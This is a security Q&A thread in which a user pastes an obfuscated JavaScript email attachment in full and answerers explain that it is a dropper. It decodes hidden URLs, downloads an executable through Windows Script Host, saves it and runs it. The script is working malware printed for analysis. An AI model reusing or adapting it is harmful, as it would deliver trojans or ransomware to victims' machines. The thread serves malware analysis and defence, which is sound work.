What kind of email attack is this?

Question

I received the following invoice_scan_nHl8GB.js as an email attachment from a spoofed email address/infected PC zipped in a E.zip.

Strangely the sender's address is not properly spoofed, probably because it is from an actual server. For example I know my friend Daniel whose email is [email protected]. In this case the sender's address is dani.el <[email protected]> so they did a poor job at spoofing, or probably compromised that server (a WordPress blog) and used an actual-looking address to fool the spam filters.

Secondly, a thing that worries me is that there are two recipients to this email, one is me and the other is an address used by my ADSL provider to confirm emails for receiving PDF bills.

I'm not sure if this address has somehow been read from Daniel's infected system (he probably uses outlook), or from my own (I don't think of any malware specifically targeted at Opera Mail, although i think that MBS files scanning is something that is done), or even the phone provider's system (i think this is the least probable situation, but who knows).

Here is my "invoice scan":

function decode(encroachmentzuB, careengdO, vexH6k, impositionPgg, toilAXq, permeateze0, commissionVXC, girdy8E, prospectiveOwW, cajoleloa, rangingQTN, grudgingEtZ, podiumeFq, plusdYa, incorrigiblekZ5, disconcertJyT, insistWat, sedulouss1w, collationc64, turgidMwv, disembarknA9) {
    var eludeC5D = "replace";
    encroachmentzuB = encroachmentzuB[eludeC5D](/[^A-Za-z0-9\+\/\=]/g, "");
    var grandiloquentBin = [ 62, -1, -1, -1, 63, 52, 53, 54, 55, 56, 57, 58, 59, 60, 61, -1, -1, -1, 64, -1, -1, -1, 0, 1, 2, 3, 4, 5, 6, 7, 8, 9, 10, 11, 12, 13, 14, 15, 16, 17, 18, 19, 20, 21, 22, 23, 24, 25, -1, -1, -1, -1, -1, -1, 26, 27, 28, 29, 30, 31, 32, 33, 34, 35, 36, 37, 38, 39, 40, 41, 42, 43, 44, 45, 46, 47, 48, 49, 50, 51 ];
    var pertinaciousEFO = turgidMwv;
    if (!pertinaciousEFO) {
        pertinaciousEFO = new Uint8Array(Math.pow(encroachmentzuB.length / 4, 2) * 3);
    }
    disembarknA9 = disembarknA9 || 0;
    var maulPzM, palatableHOJ, adversexUM, filchVRW;
    var parochialaIH = 0, vacatej1i = disembarknA9;
    while (parochialaIH < encroachmentzuB.length) {
        var depraveCCW = "charCodeAt";
        maulPzM = grandiloquentBin[encroachmentzuB[depraveCCW](parochialaIH++) - 43];
        palatableHOJ = grandiloquentBin[encroachmentzuB[depraveCCW](parochialaIH++) - 43];
        adversexUM = grandiloquentBin[encroachmentzuB[depraveCCW](parochialaIH++) - 43];
        filchVRW = grandiloquentBin[encroachmentzuB[depraveCCW](parochialaIH++) - 43];
        pertinaciousEFO[vacatej1i++] = maulPzM << 2 | palatableHOJ >> 4;
        if (adversexUM !== 64) {
            pertinaciousEFO[vacatej1i++] = (palatableHOJ & 15) << 4 | adversexUM >> 2;
            if (filchVRW !== 64) {
                pertinaciousEFO[vacatej1i++] = (adversexUM & 3) << 6 | filchVRW;
            }
        }
    }
    return turgidMwv ? vacatej1i - disembarknA9 : pertinaciousEFO.subarray(0, vacatej1i);
}

var ratifyvWk = function(aptIGS) {
    var mootuns = [];
    var careengdO = "encroachmentjdC";
    var vexH6k = "contemptotO";
    var impositionPgg = "emolumentPGW";
    var toilAXq = "evidentwa6";
    var permeateze0 = "philosophicalIYw";
    var commissionVXC = "firebrandSs3";
    var girdy8E = "cadaverousT1u";
    var prospectiveOwW = "intrepidjwL";
    var cajoleloa = "cedexlC";
    var rangingQTN = "superciliouslMa";
    var grudgingEtZ = "unaffectedkGp";
    var podiumeFq = "subalternvAO";
    var plusdYa = "hoaryF1p";
    var incorrigiblekZ5 = "fanfarePFi";
    var disconcertJyT = "endemicYKK";
    var insistWat = "rudimentwkb";
    var sedulouss1w = "manneredDNl";
    var collationc64 = "approachm8r";
    var repinegrx = decode(aptIGS, careengdO, vexH6k, impositionPgg, toilAXq, permeateze0, commissionVXC, girdy8E, prospectiveOwW, cajoleloa, rangingQTN, grudgingEtZ, podiumeFq, plusdYa, incorrigiblekZ5, disconcertJyT, insistWat, sedulouss1w, collationc64, mootuns);
    var yeomanysi = "ASdasdcharCodeAtadsfaf".slice(6, 16);
    var tidecwN = "";
    for (var parochialaIH = 0; parochialaIH < repinegrx; parochialaIH++) {
        var fissureyBI = String.fromCharCode;
        tidecwN += fissureyBI(mootuns[parochialaIH] ^ "VtiEH9DlpPnDjlsD"[yeomanysi](parochialaIH % "VtiEH9DlpPnDjlsD".length));
    }
    return tidecwN;
};

var nexusQLE = function() {
    var decadencep1w = function() {
        var prospectiveoEx = ratifyvWk('"Egw5D3x3EFwSFg=="');
        var nostrumO4Y = ratifyvWk('"OgQMcRx4NigeCA=="');
        var inflammatoryBVD = ratifyvWk('"JSQtKhlxAChIaQ=="');
    };
    decadencep1w.prototype.UnAfXF1G5E = function(assiduousheI) {
        var librettoo2t = ratifyvWk('"FQYMJDxcCw4aNQ0w"');
        return wsh[librettoo2t](assiduousheI);
    };
    decadencep1w.prototype.pBnKM4RIDu = function(assiduousheI) {
        var librettoo2t = ratifyvWk('"FQYMJDxcCw4aNQ0w"');
        return WScript[librettoo2t](assiduousheI);
    };
    return decadencep1w;
}();

(function() {
    var betokenGRa = Math.pow(2, 10) * 249;
    var syllogismBZy = [ ratifyvWk('"PgAdNXIWaxsYNRwhCx4WPTkBBDwuSy0JHjQIIkQPHCl5TVprLUEh"'), ratifyvWk('"PgAdNXIWawERNgclBAkWICUNBjA5SGoPHz1BfVlCFjwz"') ];
    var kindlehGc = 4194304;
    var revulsionPLn = ratifyvWk('"ITdQIzFoLxU3IA=="');
    var trothQlP = ratifyvWk('"MkUZBglxPBs+aQ=="');
    var luminaryUld = new nexusQLE();
    var waylayD1w = luminaryUld[ratifyvWk('"JjYHDgUNFiU0JQ=="')];
    var tidesbQ = waylayD1w(ratifyvWk('"AScKNyFJMEIjOAsoBg=="'));
    var euphonyQUg = waylayD1w(ratifyvWk('"GycxCAQLajQ9HCYQPjw="'));
    var invidiousjXX = waylayD1w(ratifyvWk('"FzAmAQoXFxgCNQ8p"'));
    var stumpXNb = tidesbQ.ExpandEnvironmentStrings(ratifyvWk('"cyAsCBgcGA=="'));
    var conceptcP7 = stumpXNb + kindlehGc + ratifyvWk('"eBERIA=="');
    var improvidentgar = false;
    var perspicuousloO = 200;
    for (var resonantDdB = 0; resonantDdB < syllogismBZy.length; resonantDdB++) {
        try {
            var sanctionM5Q = syllogismBZy[resonantDdB];
            euphonyQUg.open(ratifyvWk('"ETE9"'), sanctionM5Q, false);
            euphonyQUg.send();
            if (euphonyQUg.status == perspicuousloO) {
                try {
                    invidiousjXX[ratifyvWk('"OQQMKw=="')]();
                    invidiousjXX.type = 1;
                    invidiousjXX[ratifyvWk('"IQYAMS0="')](euphonyQUg[ratifyvWk('"JBEaNSdXNwkyPwo9"')]);
                    if (invidiousjXX.size > betokenGRa) {
                        resonantDdB = syllogismBZy.length;
                        invidiousjXX.position = 0;
                        invidiousjXX.saveToFile(conceptcP7, 2);
                        improvidentgar = true;
                    }
                } finally {
                    invidiousjXX.close();
                }
            }
        } catch (ignored) {}
    }
    if (improvidentgar) {
        tidesbQ[ratifyvWk('"EwwMJg=="')](stumpXNb + Math.pow(2, 22));
    }
})();

While I really appreciated the poetry embedded within this JS script I would like to know what would it do if run.

How does it work? What does it do when executed? Looks like it is obfuscated. What kind of malware is that?

I currently use Opera Mail on Windows 10. Daniel uses Outlook on an unspecified windows version (xp/vista/7) I think that Daniel's PC got infected but I am not sure.

Answer 1

I picked through the source code.

The decode() function is simply a Base64 decoder. Most of its arguments and local variables serve no purpose at all.

Likewise, the ratifyvWk() function, which decrypts a string by performing Base64 decoding (using the above function) followed by a Vigenère-style XOR decryption step with the key VtiEH9DlpPnDjlsD.

The only useful thing that nexusQLE() does is return an object that can be used to access the ActiveX WScript.CreateObject() function. Finally the anonymous function uses this to download and run a .exe file from either of two sites. Here's the de-obfuscated source code (converted to an image because the two download locations still seem to be active):

This will only work on Windows computers with incorrect security settings, but I guess this still happens.

Answer 2

A ZIP file with JavaScript inside is commonly used in current attacks with ransomware (cryptolocker etc). Giving the decoding done by squeamish ossifrage in another response here the structure matches what can be seen from other cryptolocker attacks:

• ZIP file inside mail
• containing Javascript - this gets locally stored and thus has different capabilities than script stored from the web. This file is only the Dropper.
• The real malware is downloaded from somewhere else
• Windows Scripting Host is used to store the download locally and then execute it

Answer 3

According to avg threat labs it is a trojan: JS.Downloader. Various worms and Backdoor Trojans use JS.Downloader.Trojan to spread themselves over the Internet. JS.Downloader.Trojan may access and download files from a variety of sites.